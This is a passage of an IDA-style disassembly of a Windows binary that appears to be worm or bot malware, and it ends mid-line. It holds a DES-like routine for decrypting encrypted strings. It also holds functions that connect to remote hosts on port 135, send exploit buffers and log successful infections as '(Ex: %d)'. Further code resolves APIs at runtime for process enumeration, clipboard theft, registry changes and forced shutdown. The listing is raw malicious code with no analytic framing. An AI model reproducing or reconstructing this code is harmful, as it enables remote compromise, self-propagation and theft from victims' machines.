sub_403B2C+73EFj mov ebx, offset aG4xsw0ja5mx_ ; "g4XSw0jA5mx." jmp short loc_40AF3B ; --------------------------------------------------------------------------- loc_40AF36: ; CODE XREF: sub_403B2C+73F8j mov ebx, offset aWxbrg_rpy8y_ty ; "wXBrG.Rpy8y.TY84s/myQpz0" loc_40AF3B: ; CODE XREF: sub_403B2C+7408j call dword_42F068 ; RtlGetLastWin32Error push eax push [ebp+arg_C] loc_40AF45: ; CODE XREF: sub_403B2C+BD6j ; sub_403B2C+C60j ... push ebx loc_40AF46: ; CODE XREF: sub_403B2C+72E5j push esi loc_40AF47: ; CODE XREF: sub_403B2C+1385j ; sub_403B2C+1AF7j push dword ptr [edi] push [ebp+arg_10] loc_40AF4C: ; CODE XREF: sub_403B2C+4A67j call sub_410491 loc_40AF51: ; CODE XREF: sub_403B2C+4A5Fj add esp, 18h loc_40AF54: ; CODE XREF: sub_403B2C+2Bj ; sub_403B2C+3Cj ... xor eax, eax inc eax loc_40AF57: ; CODE XREF: sub_403B2C+CDEj ; sub_403B2C+1690j pop edi pop esi pop ebx leave retn sub_403B2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF5C proc near ; CODE XREF: sub_420688+3Ap var_F4 = byte ptr -0F4h var_F0 = byte ptr -0F0h var_90 = byte ptr -90h var_74 = byte ptr -74h var_3C = byte ptr -3Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0F4h push ebx push esi xor ebx, ebx push edi xor ecx, ecx loc_40AF6C: ; CODE XREF: sub_40AF5C+37j movzx eax, byte_435CC8[ecx] mov esi, [ebp+arg_0] mov edx, eax sar edx, 3 and eax, 7 mov dl, [edx+esi] test byte_435C58[eax*2], dl setnz al mov [ebp+ecx+var_74], al inc ecx cmp ecx, 38h jl short loc_40AF6C mov [ebp+arg_0], ebx mov [ebp+var_4], 1Eh loc_40AF9F: ; CODE XREF: sub_40AF5C+F2j cmp [ebp+arg_4], 1 jnz short loc_40AFAA mov eax, [ebp+var_4] jmp short loc_40AFAF ; --------------------------------------------------------------------------- loc_40AFAA: ; CODE XREF: sub_40AF5C+47j mov eax, [ebp+arg_0] add eax, eax loc_40AFAF: ; CODE XREF: sub_40AF5C+4Cj lea ecx, [ebp+eax*4+var_F0] lea esi, [ebp+eax*4+var_F4] mov eax, [ebp+arg_0] xor edx, edx mov [ecx], ebx mov [esi], ebx movzx eax, byte ptr dword_435D00[eax] mov edi, eax loc_40AFCF: ; CODE XREF: sub_40AF5C+8Ej cmp edi, 1Ch jge short loc_40AFDA mov bl, [ebp+edi+var_74] jmp short loc_40AFE1 ; --------------------------------------------------------------------------- loc_40AFDA: ; CODE XREF: sub_40AF5C+76j mov bl, [ebp+edi+var_90] loc_40AFE1: ; CODE XREF: sub_40AF5C+7Cj mov [ebp+edx+var_3C], bl inc edx inc edi cmp edx, 1Ch jl short loc_40AFCF push 1Ch pop edi add eax, edi loc_40AFF1: ; CODE XREF: sub_40AF5C+B0j cmp eax, 38h jge short loc_40AFFC mov dl, [ebp+eax+var_74] jmp short loc_40B003 ; --------------------------------------------------------------------------- loc_40AFFC: ; CODE XREF: sub_40AF5C+98j mov dl, [ebp+eax+var_90] loc_40B003: ; CODE XREF: sub_40AF5C+9Ej mov [ebp+edi+var_3C], dl inc edi inc eax cmp edi, 38h jl short loc_40AFF1 xor ebx, ebx xor eax, eax loc_40B012: ; CODE XREF: sub_40AF5C+E5j lea edx, dword_435D28[eax] movzx edi, byte ptr [edx-18h] cmp [ebp+edi+var_3C], bl jz short loc_40B02B mov edi, dword_435C68[eax*4] or [esi], edi loc_40B02B: ; CODE XREF: sub_40AF5C+C4j movzx edx, byte ptr [edx] cmp [ebp+edx+var_3C], bl jz short loc_40B03D mov edx, dword_435C68[eax*4] or [ecx], edx loc_40B03D: ; CODE XREF: sub_40AF5C+D6j inc eax cmp eax, 18h jl short loc_40B012 sub [ebp+var_4], 2 inc [ebp+arg_0] cmp [ebp+var_4], 0FFFFFFFEh jg loc_40AF9F lea eax, [ebp+var_F4] push eax call sub_40B066 pop ecx pop edi pop esi pop ebx leave retn sub_40AF5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B066 proc near ; CODE XREF: sub_40AF5C+FFp var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi lea edx, [ebp+var_84] mov [ebp+var_4], 10h loc_40B07F: ; CODE XREF: sub_40B066+8Dj mov eax, [ebp+arg_0] add [ebp+arg_0], 4 mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov eax, [eax] mov ecx, [ecx] mov esi, eax and esi, 0FC0h mov edi, eax shl esi, 4 and edi, 0FC0000h mov ebx, ecx or esi, edi mov edi, ecx shr edi, 4 and edi, 0FC000h and ebx, 0FC0h or edi, ebx shl esi, 6 shr edi, 6 or esi, edi mov [edx], esi mov esi, eax and esi, 3Fh and eax, 3F000h shl esi, 4 or esi, eax mov eax, ecx shr eax, 4 shl esi, 0Ch and eax, 3F00h and ecx, 3Fh or esi, eax add edx, 4 or esi, ecx mov [edx], esi add edx, 4 dec [ebp+var_4] jnz short loc_40B07F lea eax, [ebp+var_84] push eax call sub_40B107 pop ecx pop edi pop esi pop ebx leave retn sub_40B066 endp ; =============== S U B R O U T I N E ======================================= sub_40B107 proc near ; CODE XREF: sub_40B066+96p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov eax, offset dword_454140 loc_40B110: ; CODE XREF: sub_40B107+18j mov edx, [ecx] add ecx, 4 mov [eax], edx add eax, 4 cmp eax, offset dword_4541C0 jb short loc_40B110 retn sub_40B107 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B122 proc near ; CODE XREF: sub_420688+49p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_40B152 lea eax, [ebp+var_8] push offset dword_454140 push eax call sub_40B1D8 push [ebp+arg_4] lea eax, [ebp+var_8] push eax call sub_40B19F add esp, 18h leave retn sub_40B122 endp ; =============== S U B R O U T I N E ======================================= sub_40B152 proc near ; CODE XREF: sub_40B122+Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] movzx edx, byte ptr [ecx] shl edx, 18h inc ecx mov [eax], edx movzx edx, byte ptr [ecx] shl edx, 10h or [eax], edx inc ecx xor edx, edx mov dh, [ecx] or [eax], edx inc ecx movzx edx, byte ptr [ecx] or [eax], edx inc ecx add eax, 4 movzx edx, byte ptr [ecx] shl edx, 18h inc ecx mov [eax], edx movzx edx, byte ptr [ecx] shl edx, 10h or [eax], edx inc ecx xor edx, edx mov dh, [ecx] or [eax], edx mov edx, [eax] movzx ecx, byte ptr [ecx+1] or ecx, edx mov [eax], ecx retn sub_40B152 endp ; =============== S U B R O U T I N E ======================================= sub_40B19F proc near ; CODE XREF: sub_40B122+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] mov dl, [ecx+3] mov [eax], dl mov dl, [ecx+2] inc eax mov [eax], dl mov dl, [ecx+1] inc eax mov [eax], dl mov dl, [ecx] inc eax add ecx, 4 mov [eax], dl mov dl, [ecx+3] inc eax mov [eax], dl mov dl, [ecx+2] inc eax mov [eax], dl mov dl, [ecx+1] inc eax mov [eax], dl mov cl, [ecx] mov [eax+1], cl retn sub_40B19F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1D8 proc near ; CODE XREF: sub_40B122+1Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push ebx push esi push edi mov edx, [eax] mov ecx, [eax+4] mov eax, edx mov esi, 0F0F0F0Fh shr eax, 4 mov edi, ecx and eax, esi and edi, esi mov [ebp+var_4], 8 xor eax, edi xor ecx, eax shl eax, 4 xor edx, eax mov esi, ecx mov eax, edx and esi, 0FFFFh shr eax, 10h xor eax, esi mov esi, 33333333h xor ecx, eax shl eax, 10h xor edx, eax mov eax, ecx shr eax, 2 mov edi, edx and eax, esi and edi, esi mov esi, 0FF00FFh xor eax, edi xor edx, eax shl eax, 2 xor ecx, eax mov edi, edx mov eax, ecx and edi, esi shr eax, 8 and eax, esi xor eax, edi xor edx, eax shl eax, 8 xor ecx, eax mov eax, ecx add ecx, ecx shr eax, 1Fh or eax, ecx mov ecx, eax xor ecx, edx and ecx, 0AAAAAAAAh xor edx, ecx xor eax, ecx mov ecx, edx add edx, edx shr ecx, 1Fh or ecx, edx loc_40B26F: ; CODE XREF: sub_40B1D8+1BAj mov edi, [ebp+arg_4] mov esi, eax mov edx, eax shl esi, 1Ch shr edx, 4 or esi, edx xor esi, [edi] add edi, 4 mov edx, esi mov ebx, esi shr edx, 18h and edx, 3Fh shr ebx, 10h mov edx, dword_435D40[edx*4] and ebx, 3Fh or edx, dword_435F40[ebx*4] mov ebx, esi shr ebx, 8 and ebx, 3Fh and esi, 3Fh or edx, dword_436140[ebx*4] or edx, dword_436340[esi*4] mov esi, [edi] add edi, 4 xor esi, eax mov [ebp+arg_4], edi mov edi, esi shr edi, 18h mov ebx, esi and edi, 3Fh shr ebx, 10h mov edi, dword_435E40[edi*4] and ebx, 3Fh or edi, dword_436040[ebx*4] mov ebx, esi shr ebx, 8 and ebx, 3Fh and esi, 3Fh or edi, dword_436240[ebx*4] or edi, dword_436440[esi*4] or edi, edx xor ecx, edi mov edi, [ebp+arg_4] mov esi, ecx mov edx, ecx shl esi, 1Ch shr edx, 4 or esi, edx xor esi, [edi] add edi, 4 mov edx, esi mov ebx, esi shr edx, 18h and edx, 3Fh shr ebx, 10h mov edx, dword_435D40[edx*4] and ebx, 3Fh or edx, dword_435F40[ebx*4] mov ebx, esi shr ebx, 8 and ebx, 3Fh and esi, 3Fh or edx, dword_436140[ebx*4] or edx, dword_436340[esi*4] mov esi, [edi] add edi, 4 xor esi, ecx mov [ebp+arg_4], edi mov edi, esi shr edi, 18h mov ebx, esi and edi, 3Fh shr ebx, 10h mov edi, dword_435E40[edi*4] and ebx, 3Fh or edi, dword_436040[ebx*4] mov ebx, esi shr ebx, 8 and ebx, 3Fh or edi, dword_436240[ebx*4] and esi, 3Fh or edi, dword_436440[esi*4] or edi, edx xor eax, edi dec [ebp+var_4] jnz loc_40B26F mov edx, eax shl edx, 1Fh shr eax, 1 or edx, eax mov eax, edx xor eax, ecx and eax, 0AAAAAAAAh xor ecx, eax xor edx, eax mov esi, ecx mov edi, edx shl esi, 1Fh shr ecx, 1 or esi, ecx mov ecx, 0FF00FFh mov eax, esi and edi, ecx shr eax, 8 and eax, ecx mov ecx, 33333333h xor eax, edi xor edx, eax shl eax, 8 xor esi, eax mov edi, edx mov eax, esi and edi, ecx shr eax, 2 and eax, ecx xor eax, edi xor edx, eax shl eax, 2 xor esi, eax mov eax, edx mov ecx, esi shr eax, 10h and ecx, 0FFFFh xor eax, ecx mov ecx, 0F0F0F0Fh xor esi, eax shl eax, 10h xor edx, eax mov edi, esi mov eax, edx and edi, ecx shr eax, 4 and eax, ecx mov ecx, [ebp+arg_0] xor eax, edi mov edi, eax shl edi, 4 xor edi, edx xor eax, esi mov [ecx], edi pop edi pop esi mov [ecx+4], eax pop ebx leave retn sub_40B1D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B427 proc near ; CODE XREF: sub_40B63F+7Ep var_2008 = byte ptr -2008h var_1FE4 = byte ptr -1FE4h var_1FD8 = byte ptr -1FD8h var_1F31 = byte ptr -1F31h var_1008 = byte ptr -1008h var_1000 = dword ptr -1000h var_FF8 = dword ptr -0FF8h var_F88 = dword ptr -0F88h var_F84 = dword ptr -0F84h var_F54 = dword ptr -0F54h var_F50 = dword ptr -0F50h var_F38 = dword ptr -0F38h var_E7C = dword ptr -0E7Ch var_CA8 = dword ptr -0CA8h var_CA0 = dword ptr -0CA0h var_C98 = byte ptr -0C98h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_D0 = dword ptr 0D8h arg_D4 = dword ptr 0DCh push ebp mov ebp, esp mov eax, 2008h call sub_4220C0 push esi push edi mov edi, dword_436A5C mov esi, 0A7h test edi, edi mov [ebp+var_4], esi jnz short loc_40B44F xor eax, eax jmp loc_40B63B ; --------------------------------------------------------------------------- loc_40B44F: ; CODE XREF: sub_40B427+1Fj push ebx push 30h lea eax, [ebp+var_2008] push offset off_436A28 push eax call sub_4223F0 push esi lea eax, [ebp+var_1FD8] push 0FFFFFF90h push eax call sub_4221F0 mov ebx, offset dword_432980 push edi lea eax, [ebp+var_1F31] push ebx push eax call sub_4223F0 lea esi, [edi+0D7h] jmp short loc_40B4C9 ; --------------------------------------------------------------------------- loc_40B48D: ; CODE XREF: sub_40B427+B0j mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2008] inc esi push offset off_436A28 push eax mov [ebp+var_4], esi call sub_4223F0 push esi lea eax, [ebp+var_1FD8] push 0FFFFFF90h push eax call sub_4221F0 push edi lea eax, [ebp+esi+var_1FD8] push ebx push eax call sub_4223F0 lea esi, [esi+edi+30h] loc_40B4C9: ; CODE XREF: sub_40B427+64j add esp, 24h mov eax, esi cdq push 10h pop ecx idiv ecx cmp edx, 0Ch jnz short loc_40B48D xor eax, eax cmp [ebp+arg_D4], 3 push 4 setnz al dec eax and ax, 0FCD7h add eax, 10016C6h mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1FE4] push eax call sub_4223F0 push 360h lea eax, [ebp+var_1008] push offset dword_436590 push eax call sub_4223F0 push 10h lea eax, [ebp+var_CA8] push offset dword_4368F4 push eax call sub_4223F0 lea eax, [ebp+var_2008] push esi push eax lea eax, [ebp+var_C98] push eax call sub_4223F0 lea edi, [esi+370h] push 3Ch push offset off_436908 lea eax, [ebp+edi+var_1008] push eax call sub_4223F0 add edi, 3Ch push 30h push offset dword_436948 lea eax, [ebp+edi+var_1008] push eax call sub_4223F0 mov eax, esi add edi, 30h cdq sub eax, edx add esp, 48h sar eax, 1 add [ebp+var_CA8], eax add [ebp+var_CA0], eax mov eax, [ebp+var_1000] lea eax, [eax+esi-0Ch] mov [ebp+var_1000], eax mov eax, [ebp+var_FF8] lea eax, [eax+esi-0Ch] mov [ebp+var_FF8], eax mov eax, [ebp+var_F88] lea eax, [eax+esi-0Ch] mov [ebp+var_F88], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F54] lea eax, [eax+esi-0Ch] mov [ebp+var_F54], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F38] lea eax, [eax+esi-0Ch] mov [ebp+var_F38], eax mov eax, [ebp+var_E7C] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E7C], eax call sub_422F79 mov ebx, eax push esi push 0 push ebx call sub_4221F0 lea eax, [ebp+var_1008] push edi push eax push ebx call sub_4223F0 mov eax, [ebp+arg_D0] add esp, 1Ch mov [eax], edi mov eax, ebx pop ebx loc_40B63B: ; CODE XREF: sub_40B427+23j pop edi pop esi leave retn sub_40B427 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B63F proc near ; CODE XREF: sub_401906+13Ap ; DATA XREF: .text:off_43208Co var_1018 = byte ptr -1018h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C0 = dword ptr 0C8h arg_D0 = dword ptr 0D8h push ebp mov ebp, esp mov eax, 1018h call sub_4220C0 push ebx push esi push edi lea eax, [ebp+arg_8] push 1 push eax call sub_401AB3 pop ecx mov esi, eax pop ecx push 0 push 1 push 2 call dword_454394 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40B74B push 10h lea eax, [ebp+var_18] push 0 push eax call sub_4221F0 add esp, 0Ch mov [ebp+var_18], 2 push 87h call dword_454314 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+arg_8] push eax call dword_45434C ; inet_addr mov [ebp+var_14], eax lea eax, [ebp+var_8] push esi push eax sub esp, 0D0h lea esi, [ebp+arg_8] push 34h pop ecx mov edi, esp rep movsd call sub_40B427 mov ebx, dword_42F15C add esp, 0D8h mov esi, eax push 7D0h call ebx ; dword_42F15C test esi, esi jnz short loc_40B6E0 push [ebp+var_4] jmp short loc_40B745 ; --------------------------------------------------------------------------- loc_40B6E0: ; CODE XREF: sub_40B63F+9Aj mov edi, [ebp+var_4] lea eax, [ebp+var_18] push 10h push eax push edi call dword_4542AC ; connect cmp eax, 0FFFFFFFFh jnz short loc_40B6F8 loc_40B6F5: ; CODE XREF: sub_40B63F+D5j push esi jmp short loc_40B73E ; --------------------------------------------------------------------------- loc_40B6F8: ; CODE XREF: sub_40B63F+B4j push 0 push 48h push offset dword_436540 push edi call dword_454350 ; send cmp eax, 0FFFFFFFFh jnz short loc_40B716 push 1F4h call ebx ; dword_42F15C jmp short loc_40B6F5 ; --------------------------------------------------------------------------- loc_40B716: ; CODE XREF: sub_40B63F+CCj push 0 lea eax, [ebp+var_1018] push 1000h push eax push edi call dword_454330 ; recv push 0 push [ebp+var_8] push esi push edi call dword_454350 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40B752 loc_40B73E: ; CODE XREF: sub_40B63F+B7j call sub_4230B3 pop ecx push edi loc_40B745: ; CODE XREF: sub_40B63F+9Fj call dword_4543AC ; closesocket loc_40B74B: ; CODE XREF: sub_40B63F+31j xor eax, eax jmp loc_40B7D7 ; --------------------------------------------------------------------------- loc_40B752: ; CODE XREF: sub_40B63F+FDj call sub_4230B3 pop ecx push edi call dword_4543AC ; closesocket push 64h call ebx ; dword_42F15C movzx eax, word_439014 push eax lea esi, [ebp+arg_8] sub esp, 0D0h push 34h pop ecx mov edi, esp rep movsd call sub_401160 add esp, 0D4h test eax, eax jz short loc_40B7D4 push 7D0h call ebx ; dword_42F15C mov eax, [ebp+arg_C0] lea eax, [eax+eax*8] shl eax, 3 lea ecx, dword_432090[eax] inc dword ptr [ecx] cmp [ebp+arg_D0], 0 mov ecx, [ecx] jz short loc_40B7D4 push ecx lea ecx, [ebp+arg_8] lea eax, dword_432069[eax] push ecx push eax push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" push offset aSSSExD ; "%s %s -> %s (Ex: %d)" push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 1Ch loc_40B7D4: ; CODE XREF: sub_40B63F+149j ; sub_40B63F+16Fj xor eax, eax inc eax loc_40B7D7: ; CODE XREF: sub_40B63F+10Ej pop edi pop esi pop ebx leave retn sub_40B63F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 197Ch call sub_4220C0 push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax call sub_4221F0 push 2 lea eax, [ebp+10h] pop esi push eax mov [ebp-14h], si call sub_4140CF add esp, 10h mov [ebp-10h], eax push 87h call dword_42F2B8 ; ntohs push edi push edi push edi push 6 push 1 push esi mov [ebp-12h], ax call dword_42F2A0 ; WSASocketA mov ebx, eax cmp ebx, edi mov [ebp-4], ebx jnz short loc_40B83D push edi call dword_42F150 ; ExitThread loc_40B83D: ; CODE XREF: .text:0040B834j lea eax, [ebp-14h] push 10h push eax push ebx call dword_42F294 ; connect cmp eax, 0FFFFFFFFh push edi jnz short loc_40B856 call dword_42F150 ; ExitThread loc_40B856: ; CODE XREF: .text:0040B84Ej push 48h push offset dword_436A60 push ebx call dword_42F288 ; send cmp eax, 0FFFFFFFFh push edi jnz short loc_40B870 call dword_42F150 ; ExitThread loc_40B870: ; CODE XREF: .text:0040B868j lea eax, [ebp-197Ch] push 1000h push eax push ebx call dword_42F28C ; recv cmp eax, 0FFFFFFFFh jnz short loc_40B88F push edi call dword_42F150 ; ExitThread loc_40B88F: ; CODE XREF: .text:0040B886j mov ebx, 168h loc_40B894: ; CODE XREF: .text:0040B8A9j push 7Ah push 61h call sub_41409E mov [ebp+edi-17Ch], al inc edi pop ecx cmp edi, ebx pop ecx jl short loc_40B894 push 0Ah lea eax, [ebp-90h] push offset loc_436B50 push eax call sub_4223F0 push esi lea eax, [ebp-86h] push offset dword_436BA0 push eax call sub_4223F0 push 4 lea eax, [ebp-82h] pop edi push edi push offset dword_436B98 push eax call sub_4223F0 push esi lea eax, [ebp-4Ah] push offset dword_436B9C push eax call sub_4223F0 push edi lea eax, [ebp-46h] push offset dword_436B94 push eax call sub_4223F0 push 0Bh lea eax, [ebp-42h] push offset loc_436B44 push eax call sub_4223F0 add esp, 48h lea eax, [ebp-97Ch] push 18h push offset dword_436AAC push eax call sub_4223F0 push 44h lea eax, [ebp-964h] push offset dword_436AC8 push eax call sub_4223F0 mov esi, 90h push 20h lea eax, [ebp-920h] push esi push eax call sub_4221F0 push edi lea eax, [ebp-900h] push offset loc_436B5C push eax call sub_4223F0 push edi lea eax, [ebp-8FCh] push offset dword_436B90 push eax call sub_4223F0 push edi lea eax, [ebp-8F8h] push offset dword_436B88 push eax call sub_4223F0 add esp, 48h lea eax, [ebp-8F4h] push edi push offset loc_436B8C push eax call sub_4223F0 push 58h lea eax, [ebp-8F0h] push esi push eax call sub_4221F0 push 6 lea eax, [ebp-898h] push offset loc_436B64 push eax call sub_4223F0 push 8 lea eax, [ebp-892h] push esi push eax call sub_4221F0 push edi lea eax, [ebp-88Ah] push offset loc_436B6C push eax call sub_4223F0 push edi lea eax, [ebp-886h] push esi push eax call sub_4221F0 add esp, 48h lea eax, [ebp-882h] push 6 push offset loc_436B74 push eax call sub_4223F0 push 28Eh lea eax, [ebp-87Ch] push esi push eax call sub_4221F0 push 158h lea eax, [ebp-5EEh] push offset dword_432980 push eax call sub_4223F0 lea eax, [ebp-17Ch] push ebx push eax lea eax, [ebp-496h] push eax call sub_4223F0 push 0Ah lea eax, [ebp-32Eh] push offset off_436B7C push eax call sub_4223F0 push 32h lea eax, [ebp-324h] push offset dword_436B10 push eax call sub_4223F0 add esp, 48h xor ebx, ebx mov eax, 68Ah mov dword ptr [ebp-96Ch], 672h push ebx mov [ebp-974h], eax push eax lea eax, [ebp-97Ch] push eax push dword ptr [ebp-4] call dword_42F288 ; send cmp eax, 0FFFFFFFFh jnz short loc_40BA9C push ebx call dword_42F150 ; ExitThread loc_40BA9C: ; CODE XREF: .text:0040BA93j movzx eax, word_439014 push eax lea esi, [ebp+10h] sub esp, 0D0h push 34h pop ecx mov edi, esp rep movsd call sub_401160 add esp, 0D4h test eax, eax jz short loc_40BB10 push 7D0h call dword_42F15C ; Sleep mov eax, [ebp+0C8h] lea eax, [eax+eax*8] shl eax, 3 lea ecx, dword_432090[eax] inc dword ptr [ecx] cmp [ebp+0D8h], ebx mov ecx, [ecx] jz short loc_40BB10 push ecx lea ecx, [ebp+10h] lea eax, dword_432069[eax] push ecx push eax push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" push offset aSSSExD ; "%s %s -> %s (Ex: %d)" push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_4104F6 add esp, 1Ch loc_40BB10: ; CODE XREF: .text:0040BAC1j ; .text:0040BAEAj push ebx lea eax, [ebp-197Ch] push 1000h push eax push dword ptr [ebp-4] call dword_42F28C ; recv cmp eax, 0FFFFFFFFh jnz short loc_40BB32 push ebx call dword_42F150 ; ExitThread loc_40BB32: ; CODE XREF: .text:0040BB29j push dword ptr [ebp-4] call dword_42F298 ; closesocket push 1 call dword_42F150 ; ExitThread ; =============== S U B R O U T I N E ======================================= sub_40BB43 proc near ; CODE XREF: sub_4120E9+Bp push ebx push esi push edi push offset aKernel32_dll_1 ; "kernel32.dll" call dword_42F074 ; GetModuleHandleA mov esi, dword_42F13C mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40BC55 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; dword_42F13C push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4543C0, eax call esi ; dword_42F13C push offset aProcess32first ; "Process32First" push edi mov dword_454338, eax call esi ; dword_42F13C push offset aProcess32next ; "Process32Next" push edi mov dword_454318, eax call esi ; dword_42F13C push offset aModule32first ; "Module32First" push edi mov dword_454214, eax call esi ; dword_42F13C push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4541C0, eax call esi ; dword_42F13C push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4541E8, eax call esi ; dword_42F13C push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_454268, eax call esi ; dword_42F13C push offset aSearchpatha ; "SearchPathA" push edi mov dword_45436C, eax call esi ; dword_42F13C push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4543D4, eax call esi ; dword_42F13C push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_454220, eax call esi ; dword_42F13C push offset aGetcomputernam ; "GetComputerNameA" push edi mov dword_454200, eax call esi ; dword_42F13C cmp dword_4543C0, ebx mov dword_454354, eax jz short loc_40BC60 cmp dword_454338, ebx jz short loc_40BC60 cmp dword_454318, ebx jz short loc_40BC60 cmp dword_454214, ebx jz short loc_40BC60 cmp dword_4541E8, ebx jz short loc_40BC60 cmp dword_454268, ebx jz short loc_40BC60 cmp dword_45436C, ebx jz short loc_40BC60 cmp dword_4543D4, ebx jz short loc_40BC60 cmp dword_454220, ebx jz short loc_40BC60 cmp dword_454200, ebx jz short loc_40BC60 cmp eax, ebx jnz short loc_40BC6A jmp short loc_40BC60 ; --------------------------------------------------------------------------- loc_40BC55: ; CODE XREF: sub_40BB43+1Aj call dword_42F068 ; RtlGetLastWin32Error mov dword_4543DC, eax loc_40BC60: ; CODE XREF: sub_40BB43+C2j ; sub_40BB43+CAj ... mov dword_4543D8, 1 loc_40BC6A: ; CODE XREF: sub_40BB43+10Ej push ebp mov ebp, dword_42F138 push offset aUser32_dll ; "user32.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz loc_40BD3D push offset aClosewindow ; "CloseWindow" push edi call esi ; dword_42F13C push offset aSendmessagea ; "SendMessageA" push edi mov dword_45427C, eax call esi ; dword_42F13C push offset aFindwindowa ; "FindWindowA" push edi mov dword_454360, eax call esi ; dword_42F13C push offset aIswindow ; "IsWindow" push edi mov dword_45431C, eax call esi ; dword_42F13C push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4542A0, eax call esi ; dword_42F13C push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4543C4, eax call esi ; dword_42F13C push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4542D8, eax call esi ; dword_42F13C push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_454300, eax call esi ; dword_42F13C push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_454358, eax call esi ; dword_42F13C cmp dword_45427C, ebx mov dword_45423C, eax jz short loc_40BD48 cmp dword_454360, ebx jz short loc_40BD48 cmp dword_45431C, ebx jz short loc_40BD48 cmp dword_4542A0, ebx jz short loc_40BD48 cmp dword_4543C4, ebx jz short loc_40BD48 cmp dword_4542D8, ebx jz short loc_40BD48 cmp dword_454300, ebx jz short loc_40BD48 cmp dword_454358, ebx jz short loc_40BD48 cmp eax, ebx jnz short loc_40BD52 jmp short loc_40BD48 ; --------------------------------------------------------------------------- loc_40BD3D: ; CODE XREF: sub_40BB43+139j call dword_42F068 ; RtlGetLastWin32Error mov dword_4543E4, eax loc_40BD48: ; CODE XREF: sub_40BB43+1BAj ; sub_40BB43+1C2j ... mov dword_4543E0, 1 loc_40BD52: ; CODE XREF: sub_40BB43+1F6j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz loc_40C040 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; dword_42F13C push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_454384, eax call esi ; dword_42F13C push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4542BC, eax call esi ; dword_42F13C push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_45433C, eax call esi ; dword_42F13C push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4541F8, eax call esi ; dword_42F13C push offset aRegdeletekeya ; "RegDeleteKeyA" push edi mov dword_454260, eax call esi ; dword_42F13C push offset aRegclosekey ; "RegCloseKey" push edi mov dword_45428C, eax call esi ; dword_42F13C push offset aRegenumkeyexa ; "RegEnumKeyExA" push edi mov dword_4542E8, eax call esi ; dword_42F13C push offset aRegenumvaluea ; "RegEnumValueA" push edi mov dword_454264, eax call esi ; dword_42F13C push offset aRegqueryinfoke ; "RegQueryInfoKeyA" push edi mov dword_45420C, eax call esi ; dword_42F13C cmp dword_454384, ebx mov dword_4542B4, eax jz short loc_40BE29 cmp dword_4542BC, ebx jz short loc_40BE29 cmp dword_45433C, ebx jz short loc_40BE29 cmp dword_4541F8, ebx jz short loc_40BE29 cmp dword_454260, ebx jz short loc_40BE29 cmp dword_45428C, ebx jz short loc_40BE29 cmp dword_4542E8, ebx jz short loc_40BE29 cmp dword_45420C, ebx jz short loc_40BE29 cmp eax, ebx jnz short loc_40BE33 loc_40BE29: ; CODE XREF: sub_40BB43+2A8j ; sub_40BB43+2B0j ... mov dword_4543E8, 1 loc_40BE33: ; CODE 